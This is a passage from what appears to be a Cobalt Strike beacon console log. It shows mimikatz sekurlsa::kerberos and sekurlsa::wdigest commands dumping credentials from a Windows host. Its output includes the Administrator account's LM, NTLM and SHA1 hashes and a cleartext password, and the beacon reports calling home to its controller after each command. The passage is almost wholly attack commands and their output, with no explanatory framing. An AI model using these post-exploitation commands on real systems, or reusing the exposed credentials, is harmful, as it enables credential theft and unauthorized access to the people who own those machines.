  125. Domain            : ROOT-5DE52AC98B
  126. Logon Server      : ROOT-5DE52AC98B
  127. Logon Time        : 2019-9-7 10:15:25
  128. SID               : S-1-5-21-1911985068-4225083820-4011728908-500
  129.     msv :   
  130.      [00000002] Primary
  131.      * Username : Administrator
  132.      * Domain   : ROOT-5DE52AC98B
  133.      * LM       : 44efce164ab921caaad3b435b51404ee
  134.      * NTLM     : 32ed87bdb5fdc5e9cba88547376818d4
  135.      * SHA1     : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
  137. Authentication Id : 0 ; 997 (00000000:000003e5)
  138. Session           : Service from 0
  139. User Name         : LOCAL SERVICE
  140. Domain            : NT AUTHORITY
  141. Logon Server      : (null)
  142. Logon Time        : 2019-9-7 10:11:34
  143. SID               : S-1-5-19
  144.     msv :   
  146. Authentication Id : 0 ; 53191 (00000000:0000cfc7)
  147. Session           : UndefinedLogonType from 0
  148. User Name         : (null)
  149. Domain            : (null)
  150. Logon Server      : (null)
  151. Logon Time        : 2019-9-7 10:11:34
  152. SID               : 
  153.     msv :   
  155. Authentication Id : 0 ; 999 (00000000:000003e7)
  156. Session           : UndefinedLogonType from 0
  157. User Name         : ROOT-5DE52AC98B$
  158. Domain            : WORKGROUP
  159. Logon Server      : (null)
  160. Logon Time        : 2019-9-7 10:11:34
  161. SID               : S-1-5-18
  162.     msv :   
  165. beacon> mimikatz !sekurlsa::kerberos
  166. [*] Tasked beacon to run mimikatz's !sekurlsa::kerberos command
  167. [+] host called home, sent: 841293 bytes
  168. [+] received output:
  170. Authentication Id : 0 ; 996 (00000000:000003e4)
  171. Session           : Service from 0
  172. User Name         : NETWORK SERVICE
  173. Domain            : NT AUTHORITY
  174. Logon Server      : (null)
  175. Logon Time        : 2019-9-7 10:11:34
  176. SID               : S-1-5-20
  177.     kerberos :  
  178.      * Username : root-5de52ac98b$
  179.      * Domain   : WORKGROUP
  180.      * Password : (null)
  182. Authentication Id : 0 ; 333357 (00000000:0005162d)
  183. Session           : Interactive from 0
  184. User Name         : Administrator
  185. Domain            : ROOT-5DE52AC98B
  186. Logon Server      : ROOT-5DE52AC98B
  187. Logon Time        : 2019-9-7 10:15:25
  188. SID               : S-1-5-21-1911985068-4225083820-4011728908-500
  189.     kerberos :  
  190.      * Username : Administrator
  191.      * Domain   : ROOT-5DE52AC98B
  192.      * Password : 123456
  194. Authentication Id : 0 ; 997 (00000000:000003e5)
  195. Session           : Service from 0
  196. User Name         : LOCAL SERVICE
  197. Domain            : NT AUTHORITY
  198. Logon Server      : (null)
  199. Logon Time        : 2019-9-7 10:11:34
  200. SID               : S-1-5-19
  201.     kerberos :  
  202.      * Username : (null)
  203.      * Domain   : (null)
  204.      * Password : (null)
  206. Authentication Id : 0 ; 53191 (00000000:0000cfc7)
  207. Session           : UndefinedLogonType from 0
  208. User Name         : (null)
  209. Domain            : (null)
  210. Logon Server      : (null)
  211. Logon Time        : 2019-9-7 10:11:34
  212. SID               : 
  213.     kerberos :  
  215. Authentication Id : 0 ; 999 (00000000:000003e7)
  216. Session           : UndefinedLogonType from 0
  217. User Name         : ROOT-5DE52AC98B$
  218. Domain            : WORKGROUP
  219. Logon Server      : (null)
  220. Logon Time        : 2019-9-7 10:11:34
  221. SID               : S-1-5-18
  222.     kerberos :  
  223.      * Username : root-5de52ac98b$
  224.      * Domain   : WORKGROUP
  225.      * Password : (null)
  226. beacon> mimikatz !sekurlsa::wdigest
  227. [*] Tasked beacon to run mimikatz's !sekurlsa::wdigest command
  228. [+] host called home, sent: 841292 bytes
  229. [+] received output:
  231. Authentication Id : 0 ; 996 (00000000:000003e4)
  232. Session           : Service from 0
  233. User Name         : NETWORK SERVICE
  234. Domain            : NT AUTHORITY
  235. Logon Server      : (null)
  236. Logon Time        : 2019-9-7 10:11:34
  237. SID               : S-1-5-20
  238.     wdigest :   
  239.      * Username : ROOT-5DE52AC98B$
  240.      * Domain   : WORKGROUP
  241.      * Password : (null)
  243. Authentication Id : 0 ; 333357 (00000000:0005162d)
  244. Session           : Interactive from 0
  245. User Name         : Administrator
  246. Domain            : ROOT-5DE52AC98B
  247. Logon Server      : ROOT-5DE52AC98B
  248. Logon Time        : 2019-9-7 10:15:25
  249. SID               : S-1-5-21-1911985068-4225083820-4011728908-500
  250.     wdigest :   
  251.      * Username : Administrator
  252.      * Domain   : ROOT-5DE52AC98B
  253.      * Password : 123456
  255. Authentication Id : 0 ; 997 (00000000:000003e5)
  256. Session           : Service from 0
  257. User Name         : LOCAL SERVICE
  258. Domain            : NT AUTHORITY
  259. Logon Server      : (null)
  260. Logon Time        : 2019-9-7 10:11:34
  261. SID               : S-1-5-19
  262.     wdigest :   
  264. Authentication Id : 0 ; 53191 (00000000:0000cfc7)
  265. Session           : UndefinedLogonType from 0
  266. User Name         : (null)
  267. Domain            : (null)
  268. Logon Server      : (null)
  269. Logon Time        : 2019-9-7 10:11:34
  270. SID               : 
  271.     wdigest :   
  273. Authentication Id : 0 ; 999 (00000000:000003e7)
  274. Session           : UndefinedLogonType from 0
  275. User Name         : ROOT-5DE52AC98B$
  276. Domain            : WORKGROUP
  277. Logon Server      : (null)
  278. Logon Time        : 2019-9-7 10:11:34
  279. SID               : S-1-5-18
  280.     wdigest :